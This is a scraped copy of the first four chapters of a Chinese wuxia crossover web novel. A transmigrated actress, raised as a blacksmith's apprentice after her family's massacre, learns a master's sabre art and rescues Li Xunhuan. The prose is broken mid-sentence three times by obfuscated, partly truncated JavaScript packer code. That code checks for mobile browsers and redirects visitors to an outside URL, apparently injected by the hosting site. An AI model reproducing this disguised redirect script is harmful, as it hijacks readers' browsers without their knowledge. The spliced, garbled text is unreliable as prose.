《[综武侠]风流》 1. 刀客世家 关东今年的冬天来得格外早。 寒露刚过,空中便飘起了簌簌扬扬的雪。 此地寒冷干燥,雪落下来,很难融化,反倒会像沙子一样,沉聚在地上。 不过一夜工夫,整条街都覆上了一层白衣。 天羽惦记着东家的嘱咐,起了个大早,将铁匠铺门口的雪扫了一遍。 扫完折回屋里,烧了一大锅水。 水开的时候,她的弟弟天勇正好醒来。 姐弟二人一起洗了脸。 热巾子一滚,人清醒不少。 天勇捏着巾子,呼了一口气,眨了眨眼,问:“阿兄想吃些什么?我去做。” 天羽思索片刻,说:“用昨晚剩的乌鸡汤煨一锅面罢,东家爱吃这个。” 话音刚落,面前的小少年就垮下了脸,小声道:“我是问阿兄你想吃什么,不是问东家想吃什么。” 天羽闻言,也没说什么,只沉默地看着这个一脸郁闷的弟弟。 没一会儿,天勇就在她平静的目光里败下阵来,别过脸道:“好了我知道了,我这就去做。” 见他服软,天羽心下放松不少。 如果可以,她其实也不想对自己穿越后唯一的亲人这么严厉。 但没办法,以他们俩目前的情况,除了捏着鼻子讨好收留他们的铁匠铺东家,实在没有第二条路可走。 是的,天羽是一个穿越者。 她穿越前——或者说上辈子——是一个演员,业务能力不俗,但人气一般,常年混迹在各种剧组里,演戏份加起来不足半小时的女五号女六号。 相比同级别女演员,她最大的优势是学过舞蹈,身体柔韧度很好,在拍一些古装剧时,可以把打戏完成得很出色。 而她的这场穿越,说起来也跟打戏有关。 当时她意外接到了一部投资很大的玄幻剧,在里面演女三号。 剧本给出的人设是女战神,有很多打戏片段,正符合她的长处。 岂料进组第一场戏,她吊的威亚就出了事。 如果是那种小成本棚拍剧,哪怕威亚出问题,后果也不会很严重,偏偏这个剧为了追求画面的精美,大部分镜头都是实景拍摄,她出事的那场戏,更是在一个瀑布边拍的。 从事情发生到她落水被卷走,只有几秒钟。 她在那几秒钟里回顾了自己的演艺生涯,还没回顾完,就眼前一黑嗝了屁。 再睁开眼时,她变成了一个四岁小女孩。 小女孩拥有和她一样的名字,也叫天羽。 但在这个名字之前,还有一个姓氏。 姓白。 这个名叫白天羽的小女孩在她穿越过来之前,因在雪地里着了凉,生了一场大病。 风寒感冒在现代社会不算什么,但放在她穿越的这个古代世界,确实足以要了一个年幼小姑娘的性命。 哪怕她出身于武林世家。 刚知道自己穿越的是一个刀客世家的大小姐时,天羽很难形容自己的心情。 因为她还记得她在害自己暴毙的那个剧演的角色,用的也是刀,甚至于她被瀑布下的急流卷走时,手里还握着剧组给的道具刀。 天羽:“……” 真是不想继承原身的家传刀法啊。 那个时候,她是真想过,等过个一年半载,跟白家的长辈们暗示一下,自己想学点别的功夫。 至于家传的刀,原身反正还有个弟弟,等弟弟长到可以开蒙的年纪,让弟弟学也一样。 岂料穿越半年,她自觉适应了生活、可以开始暗示的时候,这个刀客世家,就遭到了仇敌围攻。 那一夜很混乱,整座白家堡火光冲天,不知死了多少人。 她被原身的母亲带着,从白家堡的密道离开。 惊魂未定之际,母亲把刚学会走路的弟弟交给她,让她有多远就跑多远,而后独自一人,返回了堡中。 像这种情况,她要是回去,那就只能送死。 她才刚死过没多久,实在不想再死一次,便咬着牙,带着弟弟跑了。 白家堡地处关东,这里夏天极短,冬天极长。 一年十二个月,起码有六个月,都处在冰天雪地之中。 幸运的是,被围攻灭门这一夜,恰是一年之中最热的时候。 她带着路都走不利索的白天勇,起码不会被冻死。 姐弟两个走啊走,不知走了多久,最后双双体力不支,倒在路边。 再醒来时是在一间铁匠铺里。 铁匠铺的老板说,他去林中拾柴时遇到了昏迷的他们,看他们装束应当来自大户人家,就把他们带到了自己的铺子里。 天羽谢过了他,还把自己头上的珠花摘了下来,作为谢礼给他。 他却嘲讽地笑了笑,说:“我要收了你这珠花,回头拿去换钱的时候,怕是就要被关东七大世家追杀了。” 天羽于是立刻明白,这看起来平平无奇的铁匠铺老板,早已清楚她和白天勇的身份。 看着对方那张常年烟熏火燎的脸,她紧张地思考了许久。 最后她想,她现在一无所有,不如赌一把。 “您知道我们的来历,还愿意救下我们,可见您是个好人。”她顿了顿,“眼下我和我弟弟无处可去,不知您是否愿意好人做到底,暂时收留我二人?” “好人……啧。”他像是不喜欢这个说法,“我可不是什么好人。” 天羽穿越之前在娱乐圈混了十年,见惯了各种见人说人话见鬼说鬼话的人。 她其实很会分辨跟自己说话的人到底真不真诚。 她听得出来,这铁匠铺老板是真不觉得自己是什么好人。 但那一刻为了能活下去,她别无选择,只能继续恳求:“只要您愿意收留我们姐弟,帮我们避过七大世家的追捕,我和我弟弟将来必会报答你!” 铁匠铺老板望着她,叹了一口气,道:“你若想留下,从今往后,你们就不能再做姐弟,只能做兄弟。” “除此之外,你们也不能再姓白。” 天羽当然明白,对方是为他们考虑才提出了这样的要求,她没有不答应的道理。 所以从这日起,她又从“白天羽”变回了“天羽”。 她的弟弟,也只叫天勇,而非白天勇。 他们俩在铁匠铺住了下来。 一住就是五年。 头两年年纪太小,只能帮忙做一些打扫的活,后来长大了一些,她便自告奋勇,开始跟东家学打铁。 可能是这具身体基因太好,她的力气出奇大,学打铁也学得很稳。 学到第三年时,她已经能独立打出这铺子里卖最多的菜刀。 她的弟弟天勇也很懂事,自一年前开始,就学着做起了烧火做饭的活计,如今已经做得相当熟练。 考虑到两人现在还是很弱,并没有任何复仇的资本,她甚至没让天勇知道他们的身世,只说他们父母双亡,无依无靠,多亏东家照拂,才有一口饭吃。 可能也是因为不知道这些,天勇对东家并没有那么敬畏,有时甚至还有点嫌弃。 毕竟在他看来,这铺子如今卖的菜刀,十把有八把是自己阿兄打的,铺子里三个人的伙食,则是他负责。 东家?东家无非提供了一个场地。 天羽:“……” 好在东家这个自认不是好人的人不会跟小孩计较。 五年相处下来,天羽也算彻底摸清了他的性格。 他看上去冷漠,其实很好说话。 卖刀具时,总是允许顾客砍价,经常最后只收一个成本价。 天羽对此十分无语,但他是东家,还掌握着他们姐弟的秘密,他非要这么干,她也没办法。 昨夜初雪,他喝得酩酊大醉,连晚饭都没吃几口。 彻底睡过去之前,说了不少醉话。 天羽依稀辨认出他是在喊一个名字,语气很伤心,不免对他有些同情。 反应过来后,又觉得自己好笑。 她一个刚穿越没多久就死全家的人,居然还同情起别人了? 还是早点洗洗睡觉吧! …… 大约辰时二刻的时候,东家醒了,天勇也煨好了一锅面。 铺子里一大二小三个人分着吃完了这锅面。 入了冬,铺子里的农具就卖不大出去了,所以吃完饭后,天羽就做起了箭簇。 关东的冬天风高雪急,百姓为了过冬,几乎都要进山打猎。 要打猎,那就需要弓箭,还得是铁质的箭簇,否则射不穿猎物,会更危险。 天羽当了三年学徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490235|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在轻车熟路。 不用东家看顾,就能打出标准又锋利的箭镞。 忙到傍晚时分,她准备收工,街上忽然响起一阵急促的马蹄声。 经历过上辈子的死亡和白家堡的灭门后,天羽如今本能地想要避开任何不同寻常的事。 这镇上平时没什么人骑马,忽然响起马蹄声,在她看来,就不太寻常。 所以她毫不犹豫,往铺内退了两步,想要先把门关上。 哒哒哒哒—— 马蹄声越来越近,越来越近。 她下意识屏住呼吸,想要把最后一块门板插上。 但就在这时,那几匹马在铁匠铺门口停了下来。 风雪之中,一道沉重的声音打破寂静:“且慢!” 那人翻身下马,动作飞快,直奔她而来。 天羽抓紧了手里的门板,强作镇定,道:“今日已封柜,还请明日再来。” 来人皱了皱眉,却道:“我不是来买东西的,我是来找你们老板的。” 天羽:“敢问阁下是?” “你告诉他,我等受他故人之托,从姑苏来。”对方竟意外地礼貌。 听到他说从姑苏来,天羽才终于反应过来,这人的口音,的确完全不似关东人士。 既不是关东人士,那就应当不是白家的仇人。 她心下稍定,抬眼道:“那你且等一会儿,我去后头寻东家。” 策马而来的中年人点了头。 天羽看他点完头后,并没有直接进门的意思,总算对他印象好了一些。 之后她去到后院,跟东家说了这事。 东家本来面无表情,但听到姑苏二字时,目光骤然一顿。 “你留在这里。”他对她说,“不必管外头的事。” 说完就起身去见了那几个自称从姑苏来的人。 人活在世上,或多或少,都有不想被外人知晓的秘密。 他既有心让她退避,她当然也不会特地凑上去讨没趣。 于是安静地留在后院,帮着天勇一起做了晚饭。 没多久,出去见人的东家便回来了。 天羽注意到,他的腰间多了一把刀。 形状有些奇特,但刀鞘和刀柄都很简朴,刀身也不长。 她可以确定,这间铺子里,并没有这样一把刀。 所以……这是方才那几个人给他的吗? 她这么想着,却没有多问。 但东家还是注意到了她落在那把刀上的目光,并朝她看了过来。 四目相对,他先开了口。 “你认识这把刀吗?”他问。 天羽摇头。 “也是,你家出事时,你才四岁,估计……”他笑了笑,声音很低,“估计连你们家的家传宝刀都不认识。” 天羽不知道他想说什么,干脆沉默。 又过了一会儿,他忽然说:“我见过你偷偷练刀,天分不错,可惜刀法不全,成不了气候。” 天羽:“您若是有话想说,不妨直说。” “你家的刀法大开大合,刚猛无俦,当属关东第一,但你若想报仇,便不能轻易在人前使用这刀法。”他说到这里,忽然深吸一口气,“我不会帮你报仇,但我可以教你另一套刀法。” “你若能学成,这把刀,我送你。” 天羽:“……” 该怎么告诉东家,其实她练刀,只是为了强身健体,方便打铁,而不是报仇? 倒不是说她就不想报仇了。 但白家是被关东七大世家联合灭门的,这仇的难度太大了,她一没有武侠小说主角的天资,二没有武侠小说主角的运气,她咋报仇? 想了想,她决定迂回一点拒绝。 于是她板着脸问:“学成了您的刀法,我便能报仇吗?” 东家扫了她一眼,薄唇微启,道:“能。” 天羽:“那就……等等?您说什么?” “你没听错。”他说,“我说能。” “学了我刀法,再配上我手里这把刀,关东七大世家内,无人能有你三招之敌。” 天羽:“……” 不是吧,那可是关东七大世家啊,怎么被他说得像锻个菜刀一样。 难道她这东家是什么隐藏的武林大佬? 2. 男狐狸精 东家说见过她偷偷练刀。 但实际上,她为了强身健体而练刀时,也没避着他,实在称不上偷偷。 从前他只当没看见,也从未开口点评过,今日见了几个姑苏来的人,却主动提了。 不仅提了,还表示可以教她刀法。 比起忽然善心大发,天羽更相信,他应当是受了某种刺激。 且不想将那把从姑苏送来的那把刀留在手里。 意识到这一点,她便没有急着答复他了。 果然,她沉吟着不开口,东家再开口时,语速就快了起来。 “怎么?”他问,“你不想报仇了吗?” 天羽犹豫了一下,说:“您看起来不像会掺和伙计家仇的人。” 东家挑眉:“你怀疑我别有用心?” “我不是这个意思。”她琢磨了一下,决定打开天窗说亮话,“您当年明知我和天勇的身份,还是救了我二人,且收留至今,自然不会害我。” “但这五年来,您从未有教我刀法、助我报仇的打算,不是吗?” “今日忽然改了主意,我心中比起不安,更多的是困惑。” 东家原本神色淡漠,听到最后,蓦地抬起眼皮。 一双凤眸精光乍现,盯紧了她。 “你想知道什么?”他问。 天羽指了指他手里的刀,说:“如果我没猜错,您之所以忽然改了主意,是因为不想要这把刀,但又不想随意丢弃,正好我的天赋还算过得去,您便想收我做传人,顺便将刀一起传给我,是吗?” 东家大约是没想到她小小年纪,能想得这么面面俱到,且一针见血,直接道破了他的心思。 一时无言。 片刻后,他搓了搓下巴,干脆道:“是,你很聪明。” “这把刀的来历想必不一般。”天羽顿了顿,“所以我想知道的是,倘若我学了您的刀法,拿了这把刀,会不会惹祸上身?” 当年关东七大世家围攻白家堡,为的就是白家的家传刀法。 白夫人为了尽可能保住两个孩子的性命,在送他们入密道时,并没有将刀谱给他们。 她倒是因为出事前已经开蒙,大概记得一些刀谱里的基础招式。 但她比谁都知道,凭自己印象里的一招半式,绝无可能学成这名震关东的刀法,而后报仇。 有朝一日身份泄露,若无人庇护,更是连自保都难。 现在东家说学了他的刀就能报仇,她自然要抓住这个机会。 但抓住机会的同时,她也得搞清楚机会背后的代价。 作为一个在娱乐圈摸爬滚打快十年的人,她实在很明白天上不会掉馅饼的道理。 果然,东家听了她的话,沉默半晌,还是点了头。 “有这个可能。”他说,“虽然我的仇家都死得差不多了,但武林中惦记这把刀的人依旧不少,你若不想惹祸上身,十年之内,最好不要入中原。” 天羽不解:“为什么是十年之内?” 他白了她一眼,说:“以你的天分,潜心跟我学上十年,再入中原,便没什么好怕的了。” 天羽:“真的?” 你这么厉害呢? “你就说学不学?”他不答反问。 “学什么?”做完晚饭的天勇从厨房里钻了出来,恰好听到东家这句话,有些疑惑。 天羽摸了一把弟弟的脑袋,迎上东家的目光。 逐渐长开的眉眼里,透出一股坚决。 “我学。”她说。 …… 学刀不是一件很容易的事。 至少比打铁要难。 正常习武,一般是四、五岁开蒙,从锻炼身体开始,一步步打基础。 这一步至关重要。 因为长得再大一些,身体里的骨头就会变硬,乃至定型。 武学里的很多招式,都要求身体柔韧、敏捷。 而要想做到这一点,就要在骨头长定型之前,先让它们适应。 天羽穿越的时候,正是这具身体最适合打武学基础的时候。 白家夫妇也确实让她打了。 但她还没打上几天,白家堡就被灭了,她的基础因此中断,现在想要学刀,就得从头开始。 好在根据东家的说法,她根骨不错,五年过去,身体并没有彻底定型,还有挽救的空间。 天羽:“……” “行吧。”她也没叫苦,“那我就尽力挽救一下。” 反正吃苦这件事,上辈子混娱乐圈的时候,她就已经很熟练了。 她不知道的是,像她这种长到九岁,依然能从头再来的人,根骨奇绝的程度,绝非“不错”二字可以形容。 说一句天纵奇才,也不为过。 东家倒是很清楚这一点,所以自从开始教她,便一改往日懒散作风,教得极为认真。 有这么一位认真的“师父”,天羽的学刀之路,自是轻松不了。 重打基础这一年都算好的,只是单纯地累。 到了正式开始学招式的时候,才是折磨。 东家的要求简直高到变态! 哪怕她跟着他的演示,使出了一模一样的招式,他也能吹毛求疵,挑出一二三四五的毛病来。 有时是动作不够利落,有时是拔刀太慢。 等她的动作足够利落,拔刀速度也足够快了之后,他又开始嫌她握刀的姿势不对,肩膀下沉的程度不够。 反正总有理由。 好处是在他的高标准严要求之下,她的刀术进步得很快。 那种身体日益轻盈、肌肉都能自如控制的感觉,的确和从前很不一样。 上辈子拍打戏,每次吊着威亚,拿剧组做的道具在空中挥舞时,她的身体其实都是很紧张的。 哪怕经验再丰富,那种将人身安全交给别人的感觉,也还是让她无法全然放松。 现在则截然相反。 她有了内功基础,学了轻功,在身法的加持下,使出的招式行云流水。 那是一种由内而外、如臂使指的“劲”。 不来自于机器,也不是靠拍摄和剪辑技巧可以达到的效果。 她很喜欢。 除了教她,东家也顺便教了天勇一些基础拳脚招式。 “你这弟弟根骨远不如你,学点普通的拳脚功夫就够了。”东家是这么说的,“便是你们白家没出事,祖传的刀法,也只会给你继承。” 天羽一度有点担心小孩会不会心里不平衡。 结果人心态特别好,得知自己根骨不够好,不仅没什么怨念,还主动表示,既然如此,他就多打一些铁,好让“阿兄”有更多时间练刀。 学刀学到第五年时,她十四岁,乖巧听话的天勇也长到了十二岁。 因为身体已经明显开始发育出性别特征,这一年秋末,她思量了一下,把两人的身世告诉了这个弟弟。 他听完很茫然。 不是对白家的灭门之仇,而是对她的性别。 “所以……你不是我阿兄,是我阿姊?”他一脸恍惚。 天羽:“对。” 天勇:“……” 他说他要缓一缓,冷静一下。 天羽代入他想了想,感觉如果是自己碰到这种情况,确实也很难立刻接受,就决定给他一点冷静的时间。 于是跟东家主动请缨,准备趁还没彻底入冬,进一趟山。 “行,你去罢。”东家摆手,“你弟弟一向乖巧,估计缓个几日就好了,你也莫要在山中久留,再过几日,怕就要下雪了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490236|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天羽应了声好,旋即带上干粮抄上刀,披上一件皮裘,出了铺子。 这个时节进山打猎的人不少,她正好可以跟着镇上村里的猎户一起。 等进了山,再自己行动也不迟。 结果猎户们见了她,热情不已,纷纷表示可以带着她。 “阿羽兄弟你就跟着我吧,我带你去猎山鸡。” “还是跟我!我前些天还从你们铺子买了新箭簇,这回肯定能猎到些大货!” “不如随我一起……” 天羽:“……” 最终她跟着那个说要去猎大货的猎户走了。 因为其他人都很谨慎,不打算往深处走,只有这人,仗着打了新箭簇,一定要去干一票大的。 大家邻里一场,她不想人折在深山里,便跟了上去。 这一跟,倒还真跟出了些意外。 进山第三日,他们遇到了一群野狼。 带她的猎户更是陷入了野狼的包围圈。 这种时候,他手里的弓箭再好,威胁性都不够了。 天羽只能出手。 她拔刀上前,用最快的速度了结了离自己最近的几匹狼,再借力飞身,扬手一斩,迎向那朝她扑来的头狼。 狼是很聪明的动物,发现她战斗力骇人后,便想用那猎户的安危来牵扯她的心神。 她杀完六匹,制住头狼之际,剩下的狼群已然重新行成一个包围圈,将那猎户彻底围困。 猎户也算有经验,用弓箭射穿了其中两匹的眼睛,但前后左右都受困,射完手里的箭,再想取新箭时,便会露出空当。 天羽帮他挡了几次,反倒让和自己周旋的头狼抓到机会,忽然调转方向,从另一个角度,直取猎户咽喉! 千钧一发之际,眼前闪过一片寒光。 有那么一瞬间,她以为是自己看错了。 但下一瞬,那狡猾的头狼便迸出一声哀嚎。 趁它利爪在空中停滞的这一刹,天羽毫不犹豫,凌空掠起,抽刀一劈! 霎时间鲜血喷涌,染红头狼毛发。 猎户瑟瑟发抖。 而差一些要了他命的银色头狼,骤然倒地。 “阿羽兄弟!”他惊魂未定,倒还记得谢她,“真是多亏了你!” 天羽迅速了结了剩下的狼,一边出刀一边道:“救你的人不是我,你该谢的另有其人。” 猎户不解:“什么?” 天羽杀完最后一头狼,收刀转身,走向那头被她砍断脖颈的头狼,蹲下-身去,拨开狼身,捡出一把小刀,心道果然。 “若无此刀主人出手,我救不下你。”她说。 猎户闻言,瞪大双眼。 因为他根本没看见这把刀是什么时候射出来,又是什么时候插到这狼身上的! 天羽看着这把平平无奇的小刀,也皱起眉头。 她确实没想到,那一道雪亮的光芒,竟是来自一柄如此普通的刻刀。 而能用这样的刀瞬间割破狼喉,对方的武功怕是在她之上。 她不由警惕起来,压着声音朝刻刀来处试探道:“阁下功力过人,我二人在此谢过了。” 山间风声呼啸。 一片呜咽声中,她敏锐地捕捉到一阵簌簌。 似是有什么东西砸到地上,压住了林间落叶。 天羽给猎户打了个“先退开”的手势,而后深吸一口气,捏紧刀柄,朝声音来源处过去。 不多时,她便在一棵大树后面发现了一个晕倒的青年。 青年生得很是瘦削,一张脸惨白至极,全无血色可言。 偏穿得十分贵气,眉眼精致,活像一个精怪。 天羽:“?” 这文文弱弱,一副男狐狸精样的人,真能发出那么牛逼的飞刀吗? 3. 轻浮之名 在深山里遇到昏迷不醒的男狐狸精要怎么办? 正确答案应该是置之不理,扭头就走,以免生出事端。 但考虑到这只男狐狸精在昏迷之前还帮了自己,天羽又觉得,这么把人扔在山里不管,实在是有点畜生。 她不想当畜生,那就只能把人带出去。 只不知带出去后,东家会不会又朝她翻几个白眼,嫌她给自己找麻烦。 但白眼归白眼,以他的个性,知道原委后,应该也不会怪她才是。 天羽这么盘算着,也不再犹豫,当即把人扶起,架到肩上,准备回镇。 先前同行的猎户本想一起,但她实在不舍得自己辛辛苦苦杀的十几头狼,便拒绝了那猎户,让他留在山里把狼皮剥了,回头送一半去铁匠铺。 “剩下的一半你自己留着,狼肉你也留着,不必送来,我那里不缺肉吃。” 猎户一听,疯狂摆手:“都是阿羽兄弟你杀的!我怎好分走一半?你放心,我一定——” “就当是你帮忙剥皮的辛苦钱。”天羽打断他,“我先走了,这人发着烧,得趁天黑前出去。” 是的,把人扶起来后,她才发现这人的体温很不正常。 要是任他这么烧下去,就算没死在野兽嘴里,怕也撑不到明日。 天羽怕他死在路上,一刻不敢耽搁,将他带回了铁匠铺。 但身上挂了一个人,行动起来到底不够利落,以至于回到镇口时,天已经彻底黑了。 等她穿过长街,拍响铁匠铺大门的时候,路上已然空空荡荡,一个行人都不剩。 倒是挂在她身上烧得昏迷不醒的人,听到她拍门发出的声响后,忽然挣扎了一下,差点让她架不住。 好在没一会儿,木门内就响起一阵急促的脚步声。 “谁啊?”是天勇出来问了。 “我。”天羽言简意赅。 “阿……阿姊?”天勇很惊讶,“你不是进山了吗?怎么这么快就回来了?” 他说着迅速开了门。 黑灯瞎火的,他其实并看不清外头的情况,只想着阿兄,啊不是,阿姊身形修颀,拿下一片门板即可进来,结果门板拿下来了,外面的黑影却没动。 “再拿一扇下来。”天羽说,“我扶着人,一扇不好进。” 天勇:“啊?” 惊讶归惊讶,他还是迅速听从了天羽的吩咐,取下另一扇门板,方便她扶人进门。 待进了门,穿过铺子去到点了灯的后院,天勇才看清眼前的情况。 “这是谁呀?”他瞪大了眼,“咱们镇上没这号人吧?” 天羽:“山里遇到的,他昏过去之前帮了我,我不能让他烧死在山上。” 天勇闻言,仔细打量了一下他俩,这才发现,她身上的皮裘红了一片,显然是沾上了血。 他立刻急了:“阿姊你没事吧?!” 天羽:“……” 她要有事能把一个大活人从山里架回来? 弟弟是弱智固然是一个严肃的问题,但眼下最重要的还是安置病人。 “我没事,身上的血不是我的,都是砍狼溅上的。”天羽没好气地说,“你去找东家要一副能退烧的药。” “噢……我这就去!”天勇松了一口气,拍着脑袋应下。 东家不是大夫,但他懂一些药理,铺子里也常年备着一些基础的草药。 从前他们姐弟两个头疼脑热的时候,都是他自己抓药熬药,他俩喝上几日,差不多就好了。 天羽满心以为这次也一样,不想东家过来看了一眼后,就皱紧了眉头。 “怎么了?莫非您认识他?”天羽第一反应是这个。 东家摇摇头,说不认识,语毕上前一步,搭上这人手腕,探了起来。 不多时,他就松开手,叹道:“他不是发热,他是中了毒,中毒之后又动了真气,导致毒入经脉,这才昏迷不醒。” 天羽:“……” 完了,这听起来有她一份锅啊? “那这毒您能解吗?”她忙问东家。 “他若没动真气,倒是不难。”他顿了顿,“可惜动了。” 这下天羽真头大了。 她看着东家,难得露出类似挫败的神色,说:“他是为了救人才动了真气。” “救的是你?”东家挑眉,仿佛在说你都学了我的刀了,怎还需要别人出手相救? 天羽:“……那倒不是,但也与我有关。” 她啧了声,把自己与这人相遇的原委,讲了一遍。 讲到最后,想到此人目前的状态,她又拧紧了眉头。 见她一脸发愁,东家也正起色来,道:“你不必太紧张,他这毒虽然难解,但暂时还危及不到性命。” 天羽听到这话,瞬间反应过来:“您是不是有办法?” 东家摇头:“我没办法。” “但我知道谁能解毒。” 天勇:“谁啊?” 东家没答,只扫了那昏迷的青年一眼,道:“我去请那个人,大约一个月后回来,在我回来之前,你们务必看好他,别让他再动真气。” 天羽一怔。 这几年跟着他学刀,虽然他没说过,她也没打听过,但很显然,他有着非常复杂的过去,且一心避世,并不愿再提及过去的事。 要不然他也不会整整十年都隐居在这个关东小镇上了。 结果今晚,他竟要为她带回来的这个人挪窝? 真是……一如既往嘴硬心软。 天勇也很惊讶,下意识道:“一个月……莫非东家要去请的人不在关东?” 东家颔首:“关东没有能解这种毒的人。” 他说完这句,竟就要转身出院去。 天羽吓了一跳,道:“您这就要去了吗?”不该先睡一觉再出发吗? “不然呢?”东家反问,“人命关天,左右是要去的,早去总比晚去好。” 天羽:“……” 好像也有道理。 “好罢。”她点头,“那祝您此行顺利。” “会顺利的。”他扔下这句,便趁着夜色,匆匆牵上马出了门。 …… 中毒的青年昏迷了整整三日才醒。 前两日他一直高烧不退,天羽怕他一直烧下去把脑子都烧坏,便让天勇给他物理降温。 天勇遵她嘱咐,用冷水浸巾子给他擦拭身体。 反复擦了三次后,才让他身上的热度降下来。 他醒来那日,被他救下的猎户正好出山。 黄昏时分,猎户带着一摞狼皮,寻到铁匠铺,张口就问天羽:“那位恩公如何了?” 天羽还没来得及回答,就听到后院里传来一声惊呼。 “你醒了!” 是天勇。 她呼吸一顿,想了想,直接把猎户请了进去。 猎户随她进了屋,见到恩公,自是千恩万谢。 谢完想起那日恩公还晕倒了,又开始嘘寒问暖。 青年倚在床上,安静地听着,末了微笑道:“无妨的,我那日只是在山间迷了路,体力不支罢了,现下已好了。” 猎户大喜:“那太好了!” “这几日我在山里,一直惦记着这事呢,您没事,我就放心了。” 确认了恩公无恙,猎户也没多待,不一会儿,便欢天喜地地走了。 恰好天色已晚,天羽把人送出门后,干脆直接封了柜。 等她再回到后院里时,先前倚在床上的青年,已经下了床。 她就着屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们东家说有人能解,那就一定能解。”她说,“你且安心等着就是,一个月后,他就回来了。” 青年又沉默了。 他像是陷入了一种两难之境,英俊的眉眼布满纠结。 但没过多久,他就深吸一口气,再度开了口。 “既如此,我便先厚颜留下了。”他说,“只是我家中还有人在等我回去,不知姑娘可有门路,替我捎一封信去保定?” 天羽:“……” 这位男菩萨,你看我像有这种门路的人吗? “抱歉,没有。”她坦然答道,“我们这个镇平时没什么外人来。” “是我强人所难了。”他倒也没坚持,只是忍不住苦笑了起来,“该说抱歉的是我才对。” 可能是不想再聊这个叫他遗憾的话题,说完这话,他又主动道:“对了,还未请教姑娘如何称呼?” 天羽:“我叫天羽,天下之天,翎羽之羽。” 青年一顿,旋即唤了一声天羽姑娘。 天羽没应,而是告诫他道:“镇上的人不知我是女子,我也无意叫他们惊吓,你唤我天羽就是。” “好,我记下了。”他点头,“你也可以直接叫我的名字,我姓李,名寻欢。” 天羽:“李……寻欢……?” 等等,李寻欢?! 是她知道的那个小李飞刀李寻欢吗? 李寻欢看她一脸震惊,只当她和自己少时读书认识的同窗一样,觉得他的名字太轻浮,便解释了一下。 他祖父给他取这个名字,非是寻欢作乐之意,只是老人家盼着他能活得开怀洒脱,不要像他的祖父和父亲一样,为功名所累,一生郁郁,不得欢颜。 天羽:“……” 听起来挺有道理的但是我关心的不是这个,而是你居然是李寻欢! 李寻欢,武侠小说顶级杰克苏。 连她这种在观众眼里一定是文盲的娱乐圈糊比都认识。 再一想他那日发出的飞刀,天羽顿时恍悟: 原来她的穿越剧本不是古代版闯关东,也不是孤儿复仇记,而是武侠小说。 4. 礼尚往来 意识到自己穿越到了武侠小说的世界后,天羽其实也没什么太大的感想。 首先她没怎么通读过武侠小说,只大概知道一些知名的角色,做不到穿书剧本里那样靠预知剧情来给自己谋算利益,走上人生巅峰。 其次,她在发现这个事实之前,已经练了五年刀了,也算是误打误撞,贯彻了世界意志,做对了题。 所以短暂的震惊过后,她就迅速接受了这件事。 只私下里叮嘱了一下天勇,让他好好照顾李寻欢,别怠慢人家。 天勇没什么武学天赋,也没什么脑子,但胜在听话。 平日里姐弟两个的相处,基本上她说什么就是什么。 她这么叮嘱,他也完全没多想,更没问为什么。 他只会照着她的要求,在打铁之余给李寻欢嘘寒问暖,准备饭菜。 倒是李寻欢对他们姐弟很感兴趣。 或者说,他对天羽的刀非常感兴趣。 确定在铁匠铺住下的第二日,他听到天羽晨起练刀的动静,便出了屋,站在廊下看了全程。 待她练完,他又开口盛赞:“好刀法!” “那日在山间,我便觉天羽你所使刀法十分厉害,凛冽,迅猛,利落,却又不失精准。” “招招直取要害,实在精彩。” 过去五年,天羽虽然一直相信着东家的话,知道他教给自己的刀法绝不会差,但对这刀法具体好到什么程度,她心里其实并没有一个确切的认知。 现在听到李寻欢(这个武侠小说男主角)对这刀法的评价,她也算彻底放了心。 ——能得到此人高度赞赏,那至少能用它报了白家的仇。 “是好刀法不假,可惜我还没练到家。”她淡淡道,“若是我出刀能更快一些,那日也不必劳你出手。” “你若不出手,这会儿应当已经在回保定的路上了。” 李寻欢笑道:“我遭人追杀,中了天宗秘毒,从口外一路逃到关东,在彻底了结此事前,本也不宜直接回去。” 再一次听到天宗秘毒,天羽不免有些好奇:“你之前说,天宗曾是江湖上最神秘的组织,那它究竟是什么组织?” 李寻欢沉默了好一会儿,才回答道:“事实上,没人知道天宗究竟是做什么的。” “绝大多数武林中人知晓这个名字的时候,它已经覆灭了。” “也是因为它的覆灭,大家才知道,原来过去许多年,整个武林,几乎都在天宗的掌控之下。” “天宗想要一个人死,那人便一定会死。” “天宗想要一个人名声扫地,那人便会彻底身败名裂,再难卷土重来。” “二十年前,江湖上曾经流传过一份名单,据说名单上的人都加入了天宗,为天宗宗主杀人敛财。” “幸而名单流传出来不久,大家便发现,上面的人几乎都死得差不多了。” “此后二十年,天宗销声匿迹。” “但江湖茫茫,天宗内部的一些手段,到底没能与这个神秘的组织一起灰飞烟灭。” “我中的秘毒,便是其中一种。” “它也是如今的江湖上,最昂贵的一种毒。” 天羽:“是因为物以稀为贵吗?” 李寻欢摇头:“不止如此,还因它无色无味,寻常验毒手段,根本验不出来,叫人防不胜防。” 天羽听到这里,也是一骇,心想这玩意儿这么可怕? “可我听我们东家说,若是你中毒后没运过功,这毒解起来也不难。”她想起东家临走前说的话,忍不住又道。 “是。”这次他点了头,“若我能在中毒后坚持七七四十九日不运功、不动真气,这毒便自然而然解了。” 